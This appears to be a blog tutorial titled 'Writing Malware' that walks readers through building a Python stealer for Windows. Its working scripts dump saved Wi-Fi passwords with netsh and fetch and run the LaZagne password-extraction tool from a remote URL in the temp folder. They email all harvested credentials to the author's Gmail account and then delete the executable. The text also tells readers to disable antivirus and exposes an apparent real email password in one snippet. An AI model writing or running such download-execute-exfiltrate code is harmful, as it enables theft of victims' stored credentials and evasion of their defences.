WRITING MALWARE

#WHAT U WILL LEARN

To make a program that can

  • SEND ALL SAVED WI-FI PASSWORD TO GMAIL 
  • STEALING PASSWORD FROM HOST PC 

We will work on execute + report program
by making a program that can steal all saved wifi password on the host pc and send all the password to our G-mail
let's start...

#CMDS OF WINDOWS

There are commands in windows that target a specific output

for example: If we put

  • netsh wlan show profile 
  • (IT SHOW DETAILS ABOUT ALL WIFI CONNECTED BEFORE)
  • netsh wlan show profile VIRUS [name of WIFI] key=clear
  • (IT SHOW DETAILS ABOUT A SPECIFIC WIFI)
#ANOTHER USE IS IF U FORGET THE PASSWORD!

You can find by using these cmds which is executed on windows cmd-prompt


Now we know what to execute in win-cmd
which is netsh wlan show profile.. executing this we get a valuable output which WIFI names and password & and how to send this valuable output in our G-mail
Execute the command report us IN g-mail

#CODE:  execute_and_report

Click to know more about smtplib

  1. #!/usr/bin/env python
  2. import subprocess, smtplib

  3. def send_mail(email, password, massage):
  4. server = smtplib.SMTP("smtp.gmail.com", 587)
  5. server.starttls()
  6. server.login(email, password)
  7. server.sendmail(email, email, massage)
  8. server.quit()

  9. command = "netsh wlan show profile virus key=clear"
  10. result = subprocess.check_output(command, shell=True)
  11. send_mail("driveunlimited4u@gmail.com", "UR PASSWORD", result)
  12. print("Sucessful...")

But this works ONLY with specific WIFI (eg: VIRUS)

#CODE: MODEFYING#1 [REGEX]

Here REGEX is used to filter command output

  1. #!/usr/bin/env python

  2. import subprocess, smtplib, re

  3. def send_mail(email, password, message):
  4. server = smtplib.SMTP("smtp.gmail.com", 587)
  5. server.starttls()
  6. server.login(email, password)
  7. server.sendmail(email, email, message)
  8. server.quit()


  9. command = "netsh wlan show profile"
  10. wifi = subprocess.check_output(command, shell=True)
  11. wifi_names_list = re.findall(b"(?:Profile\s*:\s)(.*)",wifi)

  12. result = ""
  13. for wifi_name in wifi_names_list:
  14. if b" " in wifi_name: continue
  15. command = "netsh wlan show profile " + str(wifi_name.decode('utf-8')) + " key=clear"
  16. current_result = subprocess.check_output(command, shell=True)
  17. result = result + str(current_result.decode('utf-8'))

  18. send_mail("driveunlimited4u@gmail.com", "hrd9209050619", result)
  19. print("Sucessful...")

# FOR LOOP EXPLANATION:

In this for loop I'm creating a new variable and I'm calling this new variable wifi name.

Python will automatically know that this is a list and that this variable should represent an element. Each time the loop runs.

So basically we're saying for each element in the list.

So for each wifi name in my wifi names list I want to print the wifi name.

So what this code will do is it'll go to the first element in here. It all started that in my new variable which is the wifi name.

It's printed on screen than in the next iteration of the list to go up again...And it all said network name to the next element in the list and then were printed that on screen. And this will keep going until the end of the list.

# STORING RESULT:

  • Every time the loop runs it creates a result (password)
  • So the result keeps changing as the loop is running 
  • To store all the password we use a new variable outside the loop

result = "" [OUTSID THE LOOP]
result = result + current_result

The result keeps getting adding every time the loop runs...

BIGGEST QUESTION: 

HOW TO PUT THIS FILE IN HOST PC AND EXECUTE | AND NOT EVERYONE USE PYTHON IN WIN...WE WILL SEE THIS FURTHER...BE PATIENT AND LEARN!!

2.DOWNLOAD_FILE FUNCTION

# WORKING

  • Download file on the system
  • once packaged properly will work on all operating systems.
  • simple but powerful.

#CODE: download_file function 

TRYING TO DOWNLOAD AN IMAGE BY USING PYTHON

  1. #!/usr/bin/env python
  2. import requests
  3. def download(url):
  4. get_response = requests.get(url)
  5. print(get_response)
  6. # print(get_response.content) # show the actual content of the response

  7. download("https://images.hdqwalls.com/download/classic-anime-girl-with-umbrella-4k-f5-1920x1080.jpg")

When we execute the file we see the actual content is in binary... WHAT WE DO HERE is make a new_file and put all the binary stuff in that file and name the appropriate file extension like .jpg/.png etc


#CODE: MODEFYING#1 [creating sample.txt<BODY>] | general method

  1. #!/usr/bin/env python
  2. import requests
  3. def download(url):
  4. get_response = requests.get(url)
  5. print(get_response)
  6. with open("sample.txt", "w") as out_file:
  7. out_file.write("hey nube_coders")

  8. download("https://images.hdqwalls.com/download/classic-anime-girl-with-umbrella-4k-f5-1920x1080.jpg")

Executing this code we get a new text file name sample.txt which contains hey nube coders

#CODE: MODEFYING#2 [storing binary]|IMAGE DOWNLOAD
  1. #!/usr/bin/env python
  2. import requests

  3. def download(url):
  4. get_response = requests.get(url)
  5. file_name = url.split("/")[-1]
  6. with open(file_name, "wb") as out_file:
  7. out_file.write(get_response.content)

  8. download("https://images.hdqwalls.com/download/monogatari-series-anime-girls-oshino-shinobu-4k-wk-1920x1080.jpg")
  9. print("success..")
MODIFICATIONS DONE IN CODE IS
1.CHANGED w --> wb

wb: Opens a file for writing only in binary format. Overwrites the file if the file exists. If the file does not exist, creates a new file for writing.


2.FILE EXTENSION [SPECIFIC CODE]

We need to put the last part of the URL as the file name/extension. So We need to store that value and save it in a new variable,  here we can use REGEX OR string (split)
but this time we are using split
file_name = url.split("/")[-1]

The backslash is used to separate | Split the URL into parts


Now u learned How to download the file in windows...

Now its time to add all the programs we have learned so far
Download + Execute + Report
And steal all passwords from host pc
Question What to Download? and what to execute?

INTRODUCING...

# laZagne 

In short its a tool used to extract the password |many kinds of stuff from the host pc;)

SO BASICALLY WE ARE HACKING ALL THE PASSWORDS STORED IN THE HOST PC AND SENDING THE VALUABLE OUTPUT IN G-MAIL...

laZagen.exe


So by the following image, we can see that if we 

execute lazagne.exe we see the following cmd to access the stuff/module 
HERE WE USE CMD
lazagne all: Which simply runs all the modules
so now we know what to download and what to execute
  • TO DOWNLOAD: lazagne.exe (cuz host does not have it)
  • TO EXECUTE : lazagne all (to get all passwords)
  • TO REPORT  : G-MAIL...   (to receive all the host's output)

#STUFF VERY IMPORTANT_TO AVOID ERROR

  • RUN LaZagne only in Virtual machine/VM(win-10)
  • Disable virus protection|real-time protection
  • If laZagen.exe does not work try different bits like x32(x86)/x64bits 
  • 1st run the laZagen.exe and laZagen all in win-VM DIRECTLY to see if it works...As I deed in the image...

To download laZagne

  • laZagen Git Repo
  • laZagen direct link

#CODE: download_execute_report

IN SHORT: laZagne.exe will be downloaded then execute laZagen.all
and send all the valuable output to our G-mail

  1. #!/usr/bin/env python
  2. import requests, subprocess, smtplib

  3. def download(url):
  4. get_response = requests.get(url)
  5. file_name = url.split("/")[-1]
  6. with open(file_name, "wb") as out_file:
  7. out_file.write(get_response.content)


  8. def send_mail(email, password, message):
  9. server = smtplib.SMTP("smtp.gmail.com", 587)
  10. server.starttls()
  11. server.login(email, password)
  12. server.sendmail(email, email, message)
  13. server.quit()

  14. download("https://ikki.github.io/laZagne/laZagne.exe")

  15. result = subprocess.check_output("laZagen.exe all", shell=True)
  16. send_mail("G-mail", "Pass", result)

    download_execute_report

    output

    #STUFF VERY IMPORTANT_TO AVOID ERRORs

    • RUN LaZagne only in Virtual machine/VM(win-10) 
    • It may harm your real pc hence we are using in a virtual machine
    • Disable virus protection|real-time protection
    • If laZagen.exe does not work try different bits like x32(x86)/x64bits 
    • 1st run the laZagen.exe and laZagen all in win-VM DIRECTLY to see if it works...As I deed in the image...
    #CODE: MODIFYING
    1. #!/usr/bin/env python
    2. import requests, subprocess, smtplib, os, tempfile

    3. def download(url):
    4. get_response = requests.get(url)
    5. file_name = url.split("/")[-1]
    6. with open(file_name, "wb") as out_file:
    7. out_file.write(get_response.content)


    8. def send_mail(email, password, message):
    9. server = smtplib.SMTP("smtp.gmail.com", 587)
    10. server.starttls()
    11. server.login(email, password)
    12. server.sendmail(email, email, message)
    13. server.quit()

    14. temp_directory = tempfile.gettempdir()
    15. os.chdir(temp_directory)
    16. download("https://ikki.github.io/laZagne/laZagne.exe")
    17. result = subprocess.check_output("laZagne.exe all", shell=True)
    18. send_mail("G-mail", "Pass", result)
    19. os.remove("laZagen.exe")
    20. print("success...")
    -----------------------------
    #OUTPUT
    #LEARN PACKING

    Post a Comment

    If you have any doubts, please let me know

    Previous Post Next Post